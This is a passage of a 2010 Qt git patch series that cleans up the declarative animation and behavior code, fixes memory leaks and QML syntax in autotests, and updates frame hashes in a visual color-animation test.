+ QTest::newRow("empty file") << QUrl::fromLocalFile(temp->fileName()) << 0 << QDeclarativeXmlListModel::Ready; + temp->close(); +} + void tst_qdeclarativexmllistmodel::data() { QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); -- cgit v0.12 From 921d6882caa4f4be78c747493295d3bdd3f1f673 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 13:49:07 +1000 Subject: Cleanup. --- src/declarative/util/qdeclarativeanimation_p_p.h | 26 ++++-------------------- src/declarative/util/qdeclarativebehavior.cpp | 12 ++++------- 2 files changed, 8 insertions(+), 30 deletions(-) diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 3908e50..2a66c8a 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -100,17 +100,11 @@ class QActionAnimation : public QAbstractAnimation { Q_OBJECT public: - QActionAnimation(QObject *parent = 0) : QAbstractAnimation(parent), animAction(0), policy(KeepWhenStopped), running(false) {} + QActionAnimation(QObject *parent = 0) : QAbstractAnimation(parent), animAction(0), policy(KeepWhenStopped) {} QActionAnimation(QAbstractAnimationAction *action, QObject *parent = 0) - : QAbstractAnimation(parent), animAction(action), policy(KeepWhenStopped), running(false) {} + : QAbstractAnimation(parent), animAction(action), policy(KeepWhenStopped) {} ~QActionAnimation() { if (policy == DeleteWhenStopped) { delete animAction; animAction = 0; } } virtual int duration() const { return 0; } - void clearAnimAction() - { - if (policy == DeleteWhenStopped) - delete animAction; - animAction = 0; - } void setAnimAction(QAbstractAnimationAction *action, DeletionPolicy p) { if (state() == Running) @@ -127,26 +121,18 @@ protected: { if (newState == Running) { if (animAction) { - running = true; animAction->doAction(); - running = false; if (state() == Stopped && policy == DeleteWhenStopped) { delete animAction; animAction = 0; } } - } /*else if (newState == Stopped && policy == DeleteWhenStopped) { - if (!running) { - delete animAction; - animAction = 0; - } - }*/ + } } private: QAbstractAnimationAction *animAction; DeletionPolicy policy; - bool running; }; class QDeclarativeBulkValueUpdater @@ -192,11 +178,7 @@ protected: //check for new from every loop if (fromSourced) *fromSourced = false; - } /*else if (newState == Stopped && policy == DeleteWhenStopped) { - delete animValue; - animValue = 0; - }*/ //### we get a stop each loop if we are in a group - //### top-level animation is the only reliable one for this + } } private: diff --git a/src/declarative/util/qdeclarativebehavior.cpp b/src/declarative/util/qdeclarativebehavior.cpp index 1e000df..7181777 100644 --- a/src/declarative/util/qdeclarativebehavior.cpp +++ b/src/declarative/util/qdeclarativebehavior.cpp @@ -47,15 +47,12 @@ #include #include #include - -#include +#include #include QT_BEGIN_NAMESPACE - - class QDeclarativeBehaviorPrivate : public QObjectPrivate { Q_DECLARE_PUBLIC(QDeclarativeBehavior) @@ -64,7 +61,7 @@ public: QDeclarativeProperty property; QVariant currentValue; - QDeclarativeAbstractAnimation *animation; + QDeclarativeGuard animation; bool enabled; }; @@ -176,11 +173,10 @@ void QDeclarativeBehavior::write(const QVariant &value) actions << action; QList after; - if (d->animation) - d->animation->transition(actions, after, QDeclarativeAbstractAnimation::Forward); + d->animation->transition(actions, after, QDeclarativeAbstractAnimation::Forward); d->animation->qtAnimation()->start(); if (!after.contains(d->property)) - QDeclarativePropertyPrivate::write(d->property, value, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); + QDeclarativePropertyPrivate::write(d->property, value, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); } void QDeclarativeBehavior::setTarget(const QDeclarativeProperty &property) -- cgit v0.12 From 078ff776e37aebe5b7e88e4b4f21da1158fac3c7 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 14:29:19 +1000 Subject: Autotest tweaks. --- .../tst_qdeclarativebehaviors.cpp | 30 ++++++++++++++++++++++ .../qdeclarativebinding/data/test-binding.qml | 2 +- .../tst_qdeclarativebinding.cpp | 8 +++++- .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 3 +++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 4 +++ 5 files changed, 45 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp b/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp index 0bf0b81..26c8231 100644 --- a/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp +++ b/tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp @@ -82,6 +82,8 @@ void tst_qdeclarativebehaviors::simpleBehavior() QTest::qWait(200); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QVERIFY(x > 0 && x < 200); //i.e. the behavior has been triggered + + delete rect; } void tst_qdeclarativebehaviors::scriptTriggered() @@ -95,6 +97,8 @@ void tst_qdeclarativebehaviors::scriptTriggered() QTest::qWait(200); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QVERIFY(x > 0 && x < 200); //i.e. the behavior has been triggered + + delete rect; } void tst_qdeclarativebehaviors::cppTriggered() @@ -111,6 +115,8 @@ void tst_qdeclarativebehaviors::cppTriggered() QTest::qWait(200); qreal x = innerRect->x(); QVERIFY(x > 0 && x < 200); //i.e. the behavior has been triggered + + delete rect; } void tst_qdeclarativebehaviors::loop() @@ -122,6 +128,8 @@ void tst_qdeclarativebehaviors::loop() //don't crash rect->setState("moved"); + + delete rect; } void tst_qdeclarativebehaviors::colorBehavior() @@ -135,6 +143,8 @@ void tst_qdeclarativebehaviors::colorBehavior() QTest::qWait(200); QColor color = qobject_cast(rect->findChild("MyRect"))->color(); QVERIFY(color != QColor("red") && color != QColor("green")); //i.e. the behavior has been triggered + + delete rect; } void tst_qdeclarativebehaviors::parentBehavior() @@ -152,6 +162,8 @@ void tst_qdeclarativebehaviors::parentBehavior() QTest::qWait(600); parent = rect->findChild("MyRect")->parentItem(); QVERIFY(parent == newParent); + + delete rect; } void tst_qdeclarativebehaviors::replaceBinding() @@ -186,6 +198,8 @@ void tst_qdeclarativebehaviors::replaceBinding() rect->setProperty("basex", 20); QTest::qWait(600); QCOMPARE(innerRect->x(), (qreal)20); + + delete rect; } void tst_qdeclarativebehaviors::group() @@ -200,6 +214,8 @@ void tst_qdeclarativebehaviors::group() QTest::qWait(200); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QVERIFY(x > 0 && x < 200); //i.e. the behavior has been triggered + + delete rect; } { @@ -212,6 +228,8 @@ void tst_qdeclarativebehaviors::group() QTest::qWait(200); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QVERIFY(x > 0 && x < 200); //i.e. the behavior has been triggered + + delete rect; } } @@ -225,6 +243,8 @@ void tst_qdeclarativebehaviors::emptyBehavior() rect->setState("moved"); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QCOMPARE(x, qreal(200)); //should change immediately + + delete rect; } void tst_qdeclarativebehaviors::explicitSelection() @@ -239,6 +259,8 @@ void tst_qdeclarativebehaviors::explicitSelection() QTest::qWait(200); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QVERIFY(x > 0 && x < 200); //i.e. the behavior has been triggered + + delete rect; } } @@ -253,6 +275,8 @@ void tst_qdeclarativebehaviors::nonSelectingBehavior() rect->setState("moved"); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QCOMPARE(x, qreal(200)); //should change immediately + + delete rect; } } @@ -266,6 +290,8 @@ void tst_qdeclarativebehaviors::reassignedAnimation() QCOMPARE(qobject_cast( qobject_cast( rect->findChild("MyBehavior"))->animation())->duration(), 200); + + delete rect; } void tst_qdeclarativebehaviors::disabled() @@ -279,6 +305,8 @@ void tst_qdeclarativebehaviors::disabled() rect->setState("moved"); qreal x = qobject_cast(rect->findChild("MyRect"))->x(); QCOMPARE(x, qreal(200)); //should change immediately + + delete rect; } void tst_qdeclarativebehaviors::dontStart() @@ -294,6 +322,8 @@ void tst_qdeclarativebehaviors::dontStart() QDeclarativeAbstractAnimation *myAnim = rect->findChild("MyAnim"); QVERIFY(myAnim && myAnim->qtAnimation()); QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped); + + delete rect; } QTEST_MAIN(tst_qdeclarativebehaviors) diff --git a/tests/auto/declarative/qdeclarativebinding/data/test-binding.qml b/tests/auto/declarative/qdeclarativebinding/data/test-binding.qml index e9101e4..8f5b39e 100644 --- a/tests/auto/declarative/qdeclarativebinding/data/test-binding.qml +++ b/tests/auto/declarative/qdeclarativebinding/data/test-binding.qml @@ -12,5 +12,5 @@ Rectangle { Binding { target: screen; property: "text"; value: s1.text; objectName: "binding1" } Binding { target: screen; property: "color"; value: r1.color } - Binding { target: screen; property: "color"; when: screen.changeColor == true; value: r2.color } + Binding { target: screen; property: "color"; when: screen.changeColor == true; value: r2.color; objectName: "binding3" } } diff --git a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp index 483d588..8ab7b0b 100644 --- a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp +++ b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp @@ -69,14 +69,20 @@ void tst_qdeclarativebinding::binding() QDeclarativeEngine engine; QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/test-binding.qml")); QDeclarativeRectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); + + QDeclarativeBind *binding3 = qobject_cast(rect->findChild("binding3")); + QVERIFY(binding3 != 0); + QCOMPARE(rect->color(), QColor("yellow")); QCOMPARE(rect->property("text").toString(), QString("Hello")); + QCOMPARE(binding3->when(), false); rect->setProperty("changeColor", true); QCOMPARE(rect->color(), QColor("red")); + QCOMPARE(binding3->when(), true); + QDeclarativeBind *binding = qobject_cast(rect->findChild("binding1")); QVERIFY(binding != 0); QCOMPARE(binding->object(), qobject_cast(rect)); diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index bbf7421..c1bf2b8 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -156,6 +156,9 @@ void tst_qdeclarativeimage::imageSource() QDeclarativeImage *obj = qobject_cast(component.create()); QVERIFY(obj != 0); + if (async) + QVERIFY(obj->asynchronous() == true); + if (remote || async) TRY_WAIT(obj->status() == QDeclarativeImage::Loading); diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index a745a24..05d968c 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -129,6 +129,10 @@ void tst_QDeclarativeLoader::component() QCOMPARE(loader->status(), QDeclarativeLoader::Ready); QCOMPARE(static_cast(loader)->children().count(), 1); + QDeclarativeComponent *c = qobject_cast(item->QGraphicsObject::children().at(0)); + QVERIFY(c); + QCOMPARE(loader->sourceComponent(), c); + delete loader; } -- cgit v0.12 From fbcf257f0988f1ffef442195acc9f4b4c1527870 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 26 Mar 2010 15:57:19 +1000 Subject: Syntax and other small fixes for the visual tests. --- tests/auto/declarative/visual/ListView/basic3.qml | 2 +- tests/auto/declarative/visual/ListView/basic4.qml | 2 +- .../visual/Package_Views/packageviews.qml | 4 +- .../colorAnimation/data/colorAnimation.0.png | Bin 610 -> 627 bytes .../colorAnimation/data/colorAnimation.1.png | Bin 610 -> 626 bytes .../colorAnimation/data/colorAnimation.2.png | Bin 610 -> 625 bytes .../colorAnimation/data/colorAnimation.qml | 248 ++++++++++----------- .../declarative/visual/animation/loop/loop.qml | 2 +- .../animation/parentAnimation/parentAnimation.qml | 10 + .../animation/pauseAnimation/pauseAnimation.qml | 13 +- tests/auto/declarative/visual/focusscope/test3.qml | 2 +- .../content/MyBorderImage.qml | 4 +- .../visual/qdeclarativeeasefollow/easefollow.qml | 12 +- .../visual/qdeclarativegridview/gridview2.qml | 4 +- .../visual/qdeclarativespringfollow/clock.qml | 6 +- .../visual/qdeclarativespringfollow/follow.qml | 12 +- .../qdeclarativetextinput/cursorDelegate.qml | 14 +- .../visual/webview/zooming/renderControl.qml | 2 +- .../visual/webview/zooming/resolution.qml | 15 +- .../visual/webview/zooming/zoomTextOnly.qml | 11 +- .../declarative/visual/webview/zooming/zooming.qml | 6 +- 21 files changed, 192 insertions(+), 177 deletions(-) diff --git a/tests/auto/declarative/visual/ListView/basic3.qml b/tests/auto/declarative/visual/ListView/basic3.qml index 05ac358..2d68c0a 100644 --- a/tests/auto/declarative/visual/ListView/basic3.qml +++ b/tests/auto/declarative/visual/ListView/basic3.qml @@ -5,7 +5,7 @@ Rectangle { width: 200 height: 300 id: page - Listmodel { + ListModel { id: model ListElement { name: "January" diff --git a/tests/auto/declarative/visual/ListView/basic4.qml b/tests/auto/declarative/visual/ListView/basic4.qml index 3628bd3..7c68df1 100644 --- a/tests/auto/declarative/visual/ListView/basic4.qml +++ b/tests/auto/declarative/visual/ListView/basic4.qml @@ -5,7 +5,7 @@ Rectangle { width: 200 height: 300 id: page - Listmodel { + ListModel { id: model ListElement { name: "January" diff --git a/tests/auto/declarative/visual/Package_Views/packageviews.qml b/tests/auto/declarative/visual/Package_Views/packageviews.qml index cf3f9f7..f6c033f 100644 --- a/tests/auto/declarative/visual/Package_Views/packageviews.qml +++ b/tests/auto/declarative/visual/Package_Views/packageviews.qml @@ -6,9 +6,9 @@ Rectangle { height: 200 color: "black" - VisualDatamodel { + VisualDataModel { id: model - model: Listmodel { + model: ListModel { ListElement { itemColor: "red" } ListElement { itemColor: "green" } ListElement { itemColor: "blue" } diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png index f4a6cfd..e6ea16d 100644 Binary files a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png and b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.0.png differ diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png index f4a6cfd..b75ba61 100644 Binary files a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png and b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.1.png differ diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png index f4a6cfd..4320f6f 100644 Binary files a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png and b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.2.png differ diff --git a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml index 900bf5c..4d0959a 100644 --- a/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml +++ b/tests/auto/declarative/visual/animation/colorAnimation/data/colorAnimation.qml @@ -170,91 +170,91 @@ VisualTest { } Frame { msec: 608 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "acc736435c9f84aa82941ba561bc5dbc" } Frame { msec: 624 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "e5bda0daf98288ce18db6ce06eda3ba0" } Frame { msec: 640 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "d35008f75b8c992f80fb16ba7203649d" } Frame { msec: 656 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "14f43e0784ddf42ea8550db88c501bf1" } Frame { msec: 672 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "02276e158b5391480b1bdeaadf1fb903" } Frame { msec: 688 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "35d9513eb97a2c482b7cd197de910934" } Frame { msec: 704 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "faf0fd681e60bb2489099f5df772b6cd" } Frame { msec: 720 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a863d3e346f94785a3a392fdc91526eb" } Frame { msec: 736 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "fdf328d3f6eb8410da59a91345e41a44" } Frame { msec: 752 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "83514a3b10d5be8f6c3b128d0f3e0b1c" } Frame { msec: 768 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "ead0eae76cd00189075964671effbaea" } Frame { msec: 784 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "24d2457fcd51490fda23071bf9929d12" } Frame { msec: 800 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "1478683446cf543dacbe31d0b76a98a6" } Frame { msec: 816 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "99f7da1f31fe920f6c02add4042ae925" } Frame { msec: 832 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "22def892006cf66667770b0f17baf6c0" } Frame { msec: 848 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "6a36d5a77099bfd58baf285478ff04e4" } Frame { msec: 864 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "6258150666b59b20ab476724c07fc20c" } Frame { msec: 880 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "f1636315bc950a6dd400d9c7ed263b88" } Frame { msec: 896 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "18447ea8dc2e8da956788e5b3cf3790a" } Frame { msec: 912 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "1d2a6e65997a73e9e670356c8e8b63b2" } Frame { msec: 928 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "bed0242c0f9ef229d1392835286d5782" } Frame { msec: 944 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "88923c190e9e5beadef8a409c06df9d6" } Frame { msec: 960 @@ -262,239 +262,239 @@ VisualTest { } Frame { msec: 976 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "85b1821cc50f2a9f3ed6944f792b7a2f" } Frame { msec: 992 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "395195716d76bc0be7b2033ed37a7a1c" } Frame { msec: 1008 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "243dbffcf416926242bbcb7348974c4c" } Frame { msec: 1024 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a755068679616d8ac65c2aa7431f2a19" } Frame { msec: 1040 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "e8249b35a47eb492cbdf2d91cc8426f0" } Frame { msec: 1056 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "15f3da1c0e6f0779b96859d51171dd27" } Frame { msec: 1072 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "258c0c756aac3de743b43051f2aace6b" } Frame { msec: 1088 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a58b9fdf301d72b2cc5c93934cc8927b" } Frame { msec: 1104 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a9181d30870d472521f8904818ce520f" } Frame { msec: 1120 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "7f9e94069ccf3897c26a71bd7becd903" } Frame { msec: 1136 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "bdf305c2f46cdb86dbf57b1e0cc5a65b" } Frame { msec: 1152 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "fe5b6865d7e4fc7d1d42c1e74f8666f7" } Frame { msec: 1168 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "734f0de45a6e34c9eab7ef606196f96a" } Frame { msec: 1184 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "02a361c4534fdf7f286dc3e6dc23275c" } Frame { msec: 1200 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "e649155ad69999c14b92f6561e4d1185" } Frame { msec: 1216 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "01af177084fab755d622973f64b92018" } Frame { msec: 1232 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "097cc4a082dfab995d213a3a73883c97" } Frame { msec: 1248 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "d7b4239a3280b1eb8e885e3f422df8e9" } Frame { msec: 1264 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "59893977994e34e83f91e7ce3ad65d6d" } Frame { msec: 1280 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b68e3fbb5cdcd6bd96df7dec558db42b" } Frame { msec: 1296 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "94ad0580648f36a1e18a9ea7e249b04d" } Frame { msec: 1312 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "750a4c01d2f5806a89a1c6cc6a9b9a68" } Frame { msec: 1328 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "4f109f50f388f1bfa4bc6b03b3e6e514" } Frame { msec: 1344 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "c6168d5cf27a533e8ee636637667be47" } Frame { msec: 1360 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "f8120547bed987aa34c00da5a01a4d1e" } Frame { msec: 1376 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "cbff526136fa2c128c8b898fbbef9e5c" } Frame { msec: 1392 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "f29e52398fab1a239a63df4c32f2fc69" } Frame { msec: 1408 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "7178bfe86fd2fd513218b33760460f8d" } Frame { msec: 1424 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "ca83285bc8ac633403896fe976896eb0" } Frame { msec: 1440 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "96ba486c09cc69d5aa38c46c00df1181" } Frame { msec: 1456 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b88eab335842787869f4a14824c19dd8" } Frame { msec: 1472 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "065aa59012729e1e1a246a2083142690" } Frame { msec: 1488 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "dd0e98c8398861002c5f178c5f9f612d" } Frame { msec: 1504 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "04192c2b545948048eccf4d81bbde198" } Frame { msec: 1520 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "bb7502c7208281ef9fd41714ab88a1a8" } Frame { msec: 1536 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "5397195471890d08b703dca101e5bc7c" } Frame { msec: 1552 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "4c678cdbebb2ffd2cbf012ca77800cde" } Frame { msec: 1568 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "0d7a34ecd0c7f52b2c015037bf1902c6" } Frame { msec: 1584 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "fd9d5048be749ac4369fda2d018b43ae" } Frame { msec: 1600 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "93ee03795cd57ae6f7fe3a020b039ad4" } Frame { msec: 1616 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "5e1118963f219c39761ca7fbf564a9ca" } Frame { msec: 1632 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "8f40038741903150136170503649d941" } Frame { msec: 1648 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b087b7d0aa6224821f8e18718ff5e77d" } Frame { msec: 1664 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "aa46b04a3c67dc772265ed2901955565" } Frame { msec: 1680 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "ac024bf2aeb4becdf31a09fe0a6db8f3" } Frame { msec: 1696 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "13745a174e4d06e2108a5bf125ba50cc" } Frame { msec: 1712 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "bd972f0d8e230eca0b3fea1b8c960c08" } Frame { msec: 1728 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "cbdbec802a58e7ced0cf45b3ab0bc0ba" } Frame { msec: 1744 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "5128584c50305c7d218b81b8367fa3d5" } Frame { msec: 1760 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a71461d3593f3685620668916de870bd" } Frame { msec: 1776 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "74ebac8f32cf044b58d9883dbcd9a722" } Frame { msec: 1792 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "fedc5b638f339b90fe59b478721e65b7" } Frame { msec: 1808 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "8593a81be812edf54ec94da8ae9c1314" } Frame { msec: 1824 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "4e9b083075bc5e9287a8abc982778b56" } Frame { msec: 1840 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "1d6f02aa99afa47d77fc49ab894b365a" } Frame { msec: 1856 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a204feec783b3b05de4c209c21745826" } Frame { msec: 1872 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "665a2a8ff00b9663157802767f504754" } Frame { msec: 1888 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "624fb09ebe60cb87d767faf8d2420b1e" } Frame { msec: 1904 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "e5af0cdc33f3275a25abb09e9165f310" } Frame { msec: 1920 @@ -502,171 +502,171 @@ VisualTest { } Frame { msec: 1936 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "e7aa6374c73832e57ceb2427a1e258aa" } Frame { msec: 1952 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b5abd0dff1ab076faac7cc226e83f5d0" } Frame { msec: 1968 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b759acc35bccff8efc2e6fe276ddc0f7" } Frame { msec: 1984 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "ce52e18c1f7732768779863b45314ff5" } Frame { msec: 2000 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "99d30652559dd6931e0c95543eeaa149" } Frame { msec: 2016 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "ffbd9a00e05e085b89296d19d5caec57" } Frame { msec: 2032 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "9c9d658b9c25602816b8066bf19105db" } Frame { msec: 2048 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "2b7fd058e6601e22a30bb7106b1c683b" } Frame { msec: 2064 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "f4c7e26b19ee0a3e7c9688685eb7bd05" } Frame { msec: 2080 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "0dc6d593bceff56b7f81f2a49d37fefb" } Frame { msec: 2096 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "9bfd7ad5091ccbdde43c593e133a7b10" } Frame { msec: 2112 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "2703b617937914a90ea42ebf249d79ee" } Frame { msec: 2128 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b77e2983138254016c4cca53100f46fa" } Frame { msec: 2144 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "60c4dd24187d1281081479e586f02b37" } Frame { msec: 2160 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "62f2511abd99ef1231c9fa4b91d4abfe" } Frame { msec: 2176 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "e309b3353fd174e883d309571caddc98" } Frame { msec: 2192 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "1e2d6a134c7b12dde551b148ef4f088c" } Frame { msec: 2208 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "e5dc5450604a491cc24a0dcf5c278b58" } Frame { msec: 2224 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "c8dae97c10e1962c1e6a51ab3ab8579e" } Frame { msec: 2240 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "4e1b7e06f55fb084080689b474f1fe1d" } Frame { msec: 2256 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "b4639c907fa937bf15fac62421170cd8" } Frame { msec: 2272 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "c250208a0caeb5f6cb4d3aac3d7d350b" } Frame { msec: 2288 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "a73351eabecf0d71149efe31f197413e" } Frame { msec: 2304 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "479425f1b7aff79e4dfb7fca534af018" } Frame { msec: 2320 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: "046d0f0040a52d1f26ba9f7c5de06ef4" } Frame { msec: 2336 - hash: "8c0fcda4f8956394c53fc4ba18caa850" + hash: 